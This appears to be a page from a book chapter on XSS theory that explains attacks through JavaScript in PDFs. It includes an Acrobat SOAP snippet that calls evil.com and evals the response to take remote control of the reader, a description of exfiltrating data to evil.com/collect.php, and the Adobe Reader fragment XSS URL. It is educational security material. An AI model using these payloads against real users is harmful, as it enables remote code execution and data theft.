Download

124 Chapter 4 • XSS Theory// the endIf you follow the code, you will see that we simply grab all available database connectionsand then we encode the collected information as JavaScript Object Notation (JSON).The data is transmitted to http://evil.com/collect.php as a simple SOAP request.In a similar fashion, attackers can access other SOAP servers and perform actions onbehalf of the attacker. Moreover, the attacker can create a zombie out of the PDF document.In order to make the following example work, you need to make sure that Acrobat’s SOAPplug-in is enabled:// make a request to evil.comvar response = SOAP.request( {cURL: 'http://evil.com/channel',oRequest: {'http://evil.com/:echoString': {inputString: 'getsome'}},cAction: 'http://additional-opt/'});// evaluate the responseeval(response['http://evil.com/:echoStringResponse']['return']);In order to get the example working, you need to have a SOAP listener on the otherside that handles the request and responses with the proper message.This message will beevaluated on the fly when the user interacts with the PDF document.This means that themore time the user spends on the document, the more time the attacker will have access totheir system.The attacks presented so far in this section are just some of the problems found in PDFdocuments. At the beginning of 2007, two researchers, Stefano Di Paola and Giorgio Fedon,found a XSS vulnerability in the Adobe PDF Reader browser plug-in.This vulnerabilityeffectively made every site that hosts PDF documents vulnerable to XSS.The vulnerabilityaffects Adobe Reader versions bellow 7.9.In order to exploit the vulnerability, a URL in the following format needs to be constructed:http://victim/path/to/document.pdf#whatever=javascript:alert('xss')The Adobe Reader browser plug-in supports several parameters that can be supplied aspart of the fragment identifier.These parameters control the zoom level and the page thatneeds to be accessed when the user visits the specified PDF document. However, due to anirresponsibly implemented feature, Adobe Reader can execute JavaScript in the origin of thecurrent domain.